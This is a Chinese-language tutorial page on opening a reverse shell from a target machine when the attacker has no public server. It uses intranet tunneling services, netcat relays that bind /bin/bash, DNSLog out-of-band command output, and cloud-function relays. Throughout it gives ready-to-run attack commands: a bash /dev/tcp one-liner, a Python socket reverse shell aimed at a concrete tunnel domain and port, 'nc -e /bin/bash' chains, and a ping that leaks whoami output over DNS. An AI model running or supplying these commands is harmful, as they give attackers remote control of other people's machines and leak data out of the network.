云计算百科
云计算领域专业知识百科平台

没有公网服务器的情况下,建立反弹 Shell

1. 使用内网穿透工具(推荐)

核心原理:通过第三方服务将内网端口映射到公网域名,绕过公网IP限制。 工具推荐:

  • 贝锐花生壳(免费版可用)
    • 注册账号并登录,选择「内网穿透」功能,添加TCP映射。
    • 设置映射类型为TCP,内网主机IP为本地(如127.0.0.1),内网端口为监听的Shell端口(如54321)。
    • 生成外网域名和端口,目标机通过该域名端口反向连接攻击机。
  • cpolar(支持SSH穿透)
    • 安装并配置SSH服务,结合cpolar生成公网访问地址,实现SSH反向连接。

操作步骤:

  • 攻击机:通过穿透工具生成公网地址(如s546459d57.zicp.fun:23494)。
  • 目标机:执行反弹Shell命令,如 bash -i >& /dev/tcp/s546459d57.zicp.fun/23494 0>&1。
  • 攻击机:使用nc监听穿透后的端口(如nc -lvnp 23494),接收Shell。
  • 2. 利用中间代理服务器

    场景:已有内网某主机的控制权,通过该主机转发流量。 工具:

    • Netcat(nc):通过多层端口转发建立链路。
      • 内网主机A执行:nc -lvp 4444 -e /bin/bash。
      • 中间主机B(可出网)执行:nc -lvp 5555 -e nc <内网主机A_IP> 4444。
      • 攻击机连接中间主机的公网端口:`nc <中间主机B_公网IP> 5555。
    • lcx/htran:适用于Windows内网环境,通过端口转发实现多层穿透。

    3. 使用DNS或HTTP协议带外(OOB)

    适用场景:目标机可访问外网但无法直接建立TCP连接。 工具:

    • DNSLog:通过DNS查询传递Shell命令结果。
      • 攻击机生成DNSLog子域名(如xxx.dnslog.cn)。
      • 目标机执行:ping $(whoami).xxx.dnslog.cn,通过DNS解析日志获取命令结果。
    • HTTP带外:利用Web请求传递数据(需攻击机搭建Web服务)。

    4. 利用云函数或在线平台

    原理:通过云服务(如AWS Lambda、腾讯云函数)作为中继节点。 步骤:

  • 编写云函数,监听指定端口并转发流量至攻击机。
  • 目标机连接云函数生成的公网地址,实现反向Shell。
  • 5. 反弹Shell命令示例

    Bash:

    bash -i >& /dev/tcp/<穿透域名>/<穿透端口> 0>&1

    Python:

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("s546459d57.zicp.fun",23494))
    os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
    subprocess.call(["/bin/sh","-i"])

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 没有公网服务器的情况下,建立反弹 Shell
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!